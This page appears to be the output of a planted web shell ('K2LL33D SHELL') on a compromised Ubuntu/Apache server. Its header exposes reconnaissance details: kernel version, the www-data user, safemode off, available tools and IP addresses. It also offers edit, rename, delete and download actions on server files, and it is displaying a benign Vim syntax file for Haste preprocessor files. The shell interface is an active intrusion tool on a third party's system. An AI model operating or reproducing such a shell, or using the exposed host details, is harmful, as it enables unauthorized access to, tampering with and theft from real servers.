K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / vim / vim74 / syntax /
server ip : 172.67.156.115

your ip : 172.70.80.237

H O M E


Filename/usr/share/vim/vim74/syntax/hastepreproc.vim
Size1.59 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:56
Last modified03-Jan-2014 03:40
Last accessed07-Jul-2025 05:56
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
" Vim syntax file
" Language: Haste preprocessor files
" Maintainer: M. Tranchero - [email protected]
" Credits: some parts have been taken from vhdl, verilog, and C syntax
" files
" Version: 0.5

" HASTE
if exists("b:current_syntax")
finish
endif
" For version 5.x: Clear all syntax items
" For version 6.x: Quit when a syntax file was already loaded
if version < 600
syntax clear
elseif exists("b:current_syntax")
finish
endif
" Read the C syntax to start with
if version < 600
so <sfile>:p:h/haste.vim
else
runtime! syntax/haste.vim
unlet b:current_syntax
endif

" case is significant
syn case match

" C pre-processor directives
syn match hastepreprocVar display "\$[[:alnum:]_]*"
syn region hastepreprocVar start="\${" end="}" contains=hastepreprocVar
"
"syn region hastepreproc start="#\[\s*tg[:alnum:]*" end="]#" contains=hastepreprocVar,hastepreproc,hastepreprocError,@Spell
syn region hastepreproc start="#\[\s*\(\|tgfor\|tgif\)" end="$" contains=hastepreprocVar,hastepreproc,@Spell
syn region hastepreproc start="}\s\(else\)\s{" end="$" contains=hastepreprocVar,hastepreproc,@Spell
syn region hastepreproc start="^\s*#\s*\(ifndef\|ifdef\|else\|endif\)\>" end="$" contains=@hastepreprocGroup,@Spell
syn region hastepreproc start="\s*##\s*\(define\|undef\)\>" end="$" contains=@hastepreprocGroup,@Spell
syn match hastepreproc "}\{0,1}\s*]#"

" Define the default highlighting.
" Only when an item doesn't have highlighting yet
hi def link hastepreproc Preproc
hi def link hastepreprocVar Special
hi def link hastepreprocError Error

let b:current_syntax = "hastepreproc"

" vim: ts=8